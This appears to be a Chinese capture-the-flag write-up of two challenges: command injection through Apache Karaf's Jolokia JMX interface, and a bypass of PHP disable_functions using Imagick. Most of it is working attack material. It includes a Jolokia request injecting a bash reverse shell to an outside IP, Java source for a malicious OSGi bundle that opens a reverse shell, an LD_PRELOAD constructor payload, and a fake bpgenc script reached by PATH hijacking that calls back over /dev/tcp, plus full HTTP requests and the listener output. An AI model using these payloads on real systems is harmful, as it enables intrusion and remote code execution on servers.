0x01 Ghost Pepper
题目
karaf + jolokia
解题思路
官方文档部分内容:
- JMX-HTTP bridge with Jolokia - https://karaf.apache.org/manual/latest/#_jmx_http_bridge_with_jolokia
- Request/Response - https://jolokia.org/reference/html/protocol.html#request-response
- Operations - https://jolokia.org/reference/html/protocol.html#jolokia-operations
Instance
跟入startInstace,可以看到除了第一种重载外,在instance启动时都加载了opts参数
// org.apache.karaf.instance.core.internal.InstancesMBeanImpl#startInstance(...)
public void startInstance(String name) throws MBeanException {
try {
getExistingInstance(name).start(null); // HERE
} catch (Exception e) {
throw new MBeanException(null, e.toString());
}
}
public void startInstance(String name, String opts) throws MBeanException {
try {
getExistingInstance(name).start(opts); // HERE
} catch (Exception e) {
throw new MBeanException(null, e.toString());
}
}
public void startInstance(String name, String opts, boolean wait, boolean debug) throws MBeanException {
try {
Instance child = getExistingInstance(name);
String options = opts;
if (options == null) {
options = child.getJavaOpts();
}
if (options == null) {
options = DEFAULT_OPTS;
}
if (debug) {
options += DEBUG_OPTS;
}
if (wait) {
String state = child.getState();
if (Instance.STOPPED.equals(state)) {
child.start(opts);
}
if (!Instance.STARTED.equals(state)) {
do {
Thread.sleep(500);
state = child.getState();
} while (Instance.STARTING.equals(state));
}
} else {
child.start(opts); // HERE
}
} catch (Exception e) {
throw new MBeanException(null, e.toString());
}
}
跟入startInstance后,在doStart中加载 opts 变量
// org.apache.karaf.instance.core.internal.InstanceServiceImpl#startInstance
public void startInstance(final String name, final String javaOpts) {
execute(state -> {
InstanceState instance = state.instances.get(name);
if (instance == null) {
throw new IllegalArgumentException("Instance " + name + " not found");
}
checkPid(instance);
if (instance.pid != 0) {
throw new IllegalStateException("Instance already started");
}
doStart(instance, name, javaOpts);
return null;
}, true);
}
跟入doStart后,可见opts被拼接到command中并带入到新进程中
// org.apache.karaf.instance.core.internal.InstanceServiceImpl#doStart
private void doStart(InstanceState instance, String name, String javaOpts) throws IOException {
String opts = javaOpts;
if (opts == null || opts.length() == 0) {
opts = instance.opts;
}
if (opts == null || opts.length() == 0) {
opts = DEFAULT_JAVA_OPTS;
}
...
String command = "\""
+ new File(System.getProperty("java.home"), ScriptUtils.isWindows() ? "bin\\java.exe" : "bin/java").getCanonicalPath()
+ "\" " + opts
+ " " + karafOpts
+ " " + jdkOpts
+ " -Djava.util.logging.config.file=\"" + new File(location, "etc/java.util.logging.properties").getCanonicalPath() + "\""
+ " -Dkaraf.home=\"" + System.getProperty("karaf.home") + "\""
+ " -Dkaraf.base=\"" + new File(location).getCanonicalPath() + "\""
+ " -Dkaraf.data=\"" + new File(new File(location).getCanonicalPath(), "data") + "\""
+ " -Dkaraf.etc=\"" + new File(new File(location).getCanonicalPath(), "etc") + "\""
+ " -Dkaraf.log=\"" + new File(new File(new File(location).getCanonicalFile(), "data"), "log") + "\""
+ " -Djava.io.tmpdir=\"" + new File(new File(location).getCanonicalPath(), "data" + File.separator + "tmp") + "\""
+ " -Dkaraf.startLocalConsole=false"
+ " -Dkaraf.startRemoteShell=true"
+ " -classpath \"" + classpath.toString() + "\""
+ " org.apache.karaf.main.Main server";
if (System.getenv("KARAF_REDIRECT") != null && !System.getenv("KARAF_REDIRECT").isEmpty()) {
command = command + " >> " + System.getenv("KARAF_REDIRECT");
}
LOGGER.debug("Starting instance " + name + " with command: " + command);
Process process = new ProcessBuilderFactoryImpl().newBuilder()
.directory(new File(location))
.command(command)
.start();
instance.pid = process.getPid();
}
// org.apache.karaf.jpm.impl.ProcessImpl#create
public static Process create(File dir, String command) throws IOException {
...
try {
...
if (ScriptUtils.isWindows()) {
command = command.replaceAll("\"", "\"\"");
}
props.put("${command}", command);
int ret = ScriptUtils.execute("start", props);
if (ret != 0) {
throw new IOException("Unable to create process (error code: " + ret + ")");
}
...
} finally {
...
}
}
最后跟入到这里,基本确定是通过替换unix/start.sh
中${command}
替换为opts后执行,且没有过滤
// org.apache.karaf.jpm.impl.ScriptUtils
public static int execute(String name, Map<String, String> props) throws IOException {
File script = File.createTempFile("jpm.", ".script");
try {
if (isWindows()) {
...
} else {
String res = "unix/" + name + ".sh";
ScriptUtils.copyFilteredResource(res, script, props);
return executeProcess(new java.lang.ProcessBuilder("/bin/sh", script.getCanonicalPath()));
}
} finally {
script.delete();
}
}
public static void copyFilteredResource(String resource, File outFile, Map<String, String> props) throws IOException {
InputStream is = null;
try {
is = ScriptUtils.class.getResourceAsStream(resource);
...
PrintStream out = new PrintStream(new FileOutputStream(outFile));
try {
Scanner scanner = new Scanner(is);
while (scanner.hasNextLine() ) {
String line = scanner.nextLine();
line = filter(line, props);
...
...
}
private static String filter(String line, Map<String, String> props) {
for (Map.Entry<String, String> i : props.entrySet()) {
int p1 = line.indexOf(i.getKey());
if( p1 >= 0 ) {
String l1 = line.substring(0, p1);
String l2 = line.substring(p1+i.getKey().length());
line = l1+i.getValue()+l2;
}
}
return line;
}
通过拼接完整命令过于复杂,不如直接使用||
直接使前面的命令错误后执行恶意代码并使用#
忽略后面的命令
any sh script code || exp code # comment code
- createInstance 可以还有p9,默认值为localhost
- startInstance 必须是
argc == 2 or 4
,因为这样才会加载opts
关键的接口
{
"org.apache.karaf":
{
"name=root,type=instance":
{
"op":
{
"createInstance": [
{
"args": [
{
"name": "p1",
"type": "java.lang.String",
"desc": ""
},
{
"name": "p2",
"type": "int",
"desc": ""
},
{
"name": "p3",
"type": "int",
"desc": ""
},
{
"name": "p4",
"type": "int",
"desc": ""
},
{
"name": "p5",
"type": "java.lang.String",
"desc": ""
},
{
"name": "p6",
"type": "java.lang.String",
"desc": ""
},
{
"name": "p7",
"type": "java.lang.String",
"desc": ""
},
{
"name": "p8",
"type": "java.lang.String",
"desc": ""
}],
"ret": "int",
"desc": "Operation exposed for management"
}],
"cloneInstance":
{
"args": ["..."],
"ret": "void",
"desc": "Operation exposed for management"
},
"startInstance":
{
"args": [
{
"name": "p1",
"type": "java.lang.String",
"desc": ""
},
{
"name": "p2",
"type": "java.lang.String",
"desc": ""
}],
"ret": "void",
"desc": "Operation exposed for management"
}
}
}
}
}
创建instance,这里可以选择填或不填opts
启动instance
{
"type" : "exec",
"mbean" : "org.apache.karaf:name=root,type=instance",
"operation": "startInstance(java.lang.String,java.lang.String)",
"arguments": ["expIns","|| /bin/bash -i >& /dev/tcp/132.232.84.148/9991 0>&1 #"]
}
反弹shell,获取flag
bundle
- 可用于远程安装bundle的接口
{
"org.apache.karaf":
{
"name=root,type=bundle":
{
"op":
{
"install": [
{
"args": [
{
"name": "p1",
"type": "java.lang.String",
"desc": ""
}],
"ret": "long",
"desc": "Operation exposed for management"
},
{
"args": [
{
"name": "p1",
"type": "java.lang.String",
"desc": ""
},
{
"name": "p2",
"type": "boolean",
"desc": ""
}],
"ret": "long",
"desc": "Operation exposed for management"
}]
}
}
},
"osgi.core":
{
"framework=org.eclipse.osgi,type=framework,uuid=de99e068-9c3d-43ec-9355-ae980625a263,version=1.7":
{
"op":
{
"installBundleFromURL":
{
"args": [
{
"name": "p1",
"type": "java.lang.String",
"desc": ""
},
{
"name": "p2",
"type": "java.lang.String",
"desc": ""
}],
"ret": "long",
"desc": "Operation exposed for management"
}
}
}
}
}
对应安装请求
# 这个没看到相关文档
{
"type": "exec",
"mbean": "org.apache.karaf:name=root,type=bundle",
"operation": "install(java.lang.String)",
"arguments": ["http://<url>/<filename>.jar"]
}
# https://osgi.org/javadoc/r5/enterprise/org/osgi/jmx/framework/FrameworkMBean.html
{
"type": "exec",
"mbean": "osgi.core:framework=org.eclipse.osgi,type=framework,uuid=92c6536a-252a-4073-9d86-6de14c65b099,version=1.7",
"operation": "installBundleFromURL",
"arguments": [
"<custom>",
"http://<url>/<filename>.jar"
]
}
- 启动bundle
{
"type": "exec",
"mbean": "org.apache.karaf:name=root,type=bundle",
"operation": "start",
"arguments": ["<id>"]
}
思路:通过上面的jmx接口直接安装bundle,再请求启动,通过构造恶意bundle反弹shell
bundle构造参考:https://chenjingbo.iteye.com/blog/1893597
反弹shell参考:https://gist.github.com/caseydunham/53eb8503efad39b83633961f12441af0
import org.osgi.framework.BundleActivator;
import org.osgi.framework.BundleContext;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Activator implements BundleActivator {
@Override
public void start(BundleContext context) throws Exception {
try {
try {
String host = "132.232.84.148";
int port = 9991;
Socket s = new Socket(host, port);
String cmd = "/bin/sh";
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
OutputStream po = p.getOutputStream(), so = s.getOutputStream();
while (!s.isClosed()) {
while (pi.available() > 0)
so.write(pi.read());
while (pe.available() > 0)
so.write(pe.read());
while (si.available() > 0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
}
p.destroy();
s.close();
} catch (Exception e) {
e.printStackTrace();
}
} catch (Exception e) {
}
}
@Override
public void stop(BundleContext context) throws Exception {
System.out.println("GoodDay Sariel.D");
}
}
请求安装bundle,从response中获取id
启动bundle,反弹shell,获取flag
webconsole
Webconsole - https://karaf.apache.org/manual/latest/#_webconsole_2
思路:通过installFeature接口安装webconsole直接通过web terminal获取flag
{
"org.apache.karaf":
{
"name=root,type=feature":
{
"op":
{
"installFeature":
{
"args": [
{
"name": "p1",
"type": "java.lang.String",
"desc": ""
}],
"ret": "void",
"desc": "Operation exposed for management"
}
}
}
}
}
请求安装webconsole
# Request
http://111.186.63.207:31337/jolokia/exec/org.apache.karaf:name=root,type=feature/installFeature(java.lang.String)/webconsole
# Response
{"request":{"mbean":"org.apache.karaf:name=root,type=feature","arguments":["webconsole"],"type":"exec","operation":"installFeature(java.lang.String)"},"value":null,"timestamp":1553784696,"status":200}
访问 http://111.186.63.207:31337/system/console/gogo
0x02 Wallbreaker Easy
题目
Imagick is a awesome library for hackers to break
disable_functions
.
So I installed php-imagick in the server, opened abackdoor
for you.
Let’s try to execute/readflag
to get the flag.
Open basedir: /var/www/html:/tmp/ebfefbea019329429795eddb87a42b03
Hint: eval($_POST[“backdoor”]);
题目提示
- open basedir
- bypass
disable_functions
查看一下被禁用的函数
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail
解题思路
putenv — 设置环境变量的值
(PHP 4, PHP 5, PHP 7)
putenv ( string $setting ) : bool
添加 setting 到服务器环境变量。 环境变量仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态。
设置特定的环境变量也有可能是一个潜在的安全漏洞。 safe_mode_allowed_env_vars 包含了一个以逗号分隔的前缀列表。 在安全模式下,用户可以仅能修改用该指令设定的前缀名称的指令。 默认情况下,用户仅能够修改以 PHP_ 开头的环境变量(例如 PHP_FOO=BAR)。 注意:如果此指令是空的,PHP允许用户设定任意环境变量!
可以利用的两种姿势
- 巧用LD_PRELOAD突破disable_functions
- putenv代替LD_PRELOAD设定PATH
LD_PRELOAD
Orz当时没有仔细看完文章,在文章最下面提到了预加载时执行恶意代码。
通过设置函数属性使恶意函数在main前执行(实际上恶意bin内并没有main)
void __attribute__((constructor)) callFunction();
相关链接:
- https://www.geeksforgeeks.org/__attribute__constructor-__attribute__destructor-syntaxes-c/
- https://gcc.gnu.org/onlinedocs/gcc-6.2.0/gcc/Common-Function-Attributes.html
思路:编译so目标执行/readflag
或者反弹shell,在远程服务器上下载so文件,putenv设置LD_PRELOAD为so路径,利用Imagick创建新进程加载共享对象so执行恶意代码
准备恶意exp.so
#define _GUN_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
__attribute__((__constructor__)) void preload(void){
system("/readflag > /tmp/67a58821b4954ed1fc03f797da745bbc/flag");
}
编译,默认64位(若需86位添加-m32
)
gcc -shared -fPIC exp -o exp.so
几种远程文件下载方式
file_put_contents('/local/path/filename', fopen('http://url/filename', 'r'));
copy('http://url/filename', '/local/path/filename');
Request 数据包
Content-Type: multipart/form-data; boundary=--------414593323
----------414593323
Content-Disposition: form-data; name="backdoor"
echo('---start---\n');
copy('http://url/exp.so', '/tmp/67a58821b4954ed1fc03f797da745bbc/exp.so');
file_put_contents('/tmp/67a58821b4954ed1fc03f797da745bbc/1.png', base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQImWP4////fwAJ+wP9CNHoHgAAAABJRU5ErkJggg=='));
putenv('LD_PRELOAD=/tmp/67a58821b4954ed1fc03f797da745bbc/exp.so');
$c = new Imagick('/tmp/67a58821b4954ed1fc03f797da745bbc/1.png');
$c -> writeImage('/tmp/67a58821b4954ed1fc03f797da745bbc/1.wmv');
echo('---end---');
----------414593323--
putenv
除了利用Imagick创建新进程加载共享对象时注入恶意代码,可以直接利用putenv设定在恶意path下寻找目标bin,而通过恶意bin和目标bin重名,使得恶意代码被主动执行
Imagick在进行图片格式转换时部分是委托(delegate)给外部程序来实现,以bpg为例,会在执行目录下搜索bpgenc程序
<!-- config/delegates.xml.in -->
<delegatemap>
<delegate decode="bpg" command=""@BPGDecodeDelegate@" -b 16 -o "%o.png" "%i"; @MVDelegate@ "%o.png" "%o""/>
configure.ac
文件声明的外部调用程序基本都可用于实现攻击
# configure.ac
BPGDecodeDelegateDefault='bpgdec'
本地尝试转换png为bpg,可以看到php尝试execve进程执行
root@test:/tmp# strace -f php test.php 2>&1 | grep -A2 -B2 execve
execve("/usr/bin/php", ["php", "test.php"], 0x7ffedbee34b0 /* 40 vars */) = 0
brk(NULL) = 0x55d9adb9c000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
--
[pid 23113] set_robust_list(0x7f25bc716e60, 24) = 0
[pid 23113] execve("/usr/local/sbin/bpgenc", ["bpgenc", "-b", "12", "-o", "/tmp/magick-23112Am2ebtcfSZD8", "/tmp/magick-23112dDlqBux48E4B"], 0x55d9adbade70 /* 40 vars */) = -1 ENOENT (No such file or directory)
[pid 23113] execve("/usr/local/bin/bpgenc", ["bpgenc", "-b", "12", "-o", "/tmp/magick-23112Am2ebtcfSZD8", "/tmp/magick-23112dDlqBux48E4B"], 0x55d9adbade70 /* 40 vars */) = -1 ENOENT (No such file or directory)
[pid 23113] execve("/usr/sbin/bpgenc", ["bpgenc", "-b", "12", "-o", "/tmp/magick-23112Am2ebtcfSZD8", "/tmp/magick-23112dDlqBux48E4B"], 0x55d9adbade70 /* 40 vars */) = -1 ENOENT (No such file or directory)
[pid 23113] execve("/usr/bin/bpgenc", ["bpgenc", "-b", "12", "-o", "/tmp/magick-23112Am2ebtcfSZD8", "/tmp/magick-23112dDlqBux48E4B"], 0x55d9adbade70 /* 40 vars */) = -1 ENOENT (No such file or directory)
[pid 23113] execve("/sbin/bpgenc", ["bpgenc", "-b", "12", "-o", "/tmp/magick-23112Am2ebtcfSZD8", "/tmp/magick-23112dDlqBux48E4B"], 0x55d9adbade70 /* 40 vars */) = -1 ENOENT (No such file or directory)
[pid 23113] execve("/bin/bpgenc", ["bpgenc", "-b", "12", "-o", "/tmp/magick-23112Am2ebtcfSZD8", "/tmp/magick-23112dDlqBux48E4B"], 0x55d9adbade70 /* 40 vars */) = -1 ENOENT (No such file or directory)
思路:通过生成bpgenc程序(赋予执行权限),putenv设置PATH
为bin所在路径,这样imagick转换bpg文件时即会执行bpgenc。反弹shell或者直接读取flag均可
POST / HTTP/1.1
Host: 111.186.63.208:31340
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36
DNT: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=--------414593323
Content-Length: 714
----------414593323
Content-Disposition: form-data; name="backdoor"
echo('---start---\n');
file_put_contents('/tmp/67a58821b4954ed1fc03f797da745bbc/bpgenc', "#!/bin/bash\n/bin/bash -i >& /dev/tcp/132.***.***.***/8088 0>&1");
file_put_contents('/tmp/67a58821b4954ed1fc03f797da745bbc/1.png', base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQImWP4////fwAJ+wP9CNHoHgAAAABJRU5ErkJggg=='));
putenv('PATH=/tmp/67a58821b4954ed1fc03f797da745bbc/');
chmod('/tmp/67a58821b4954ed1fc03f797da745bbc/bpgenc', 0777);
$c = new Imagick();
$c -> readImage('/tmp/67a58821b4954ed1fc03f797da745bbc/1.png');
$c -> writeImage('/tmp/67a58821b4954ed1fc03f797da745bbc/1.bpg');
echo('---end---');
----------414593323--
获取flag
[root@vm_0_17_centos ~]# nc -lvvp 8088
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::8088
Ncat: Listening on 0.0.0.0:8088
Ncat: Connection from 111.186.63.208.
Ncat: Connection from 111.186.63.208:49820.
bash: cannot set terminal process group (8): Inappropriate ioctl for device
bash: no job control in this shell
bash: groups: command not found
www-data@5ad7cec6b953:~/html$ /readflag
/readflag
flag{PUTENVANDIMAGICKAREGOODFRIENDS}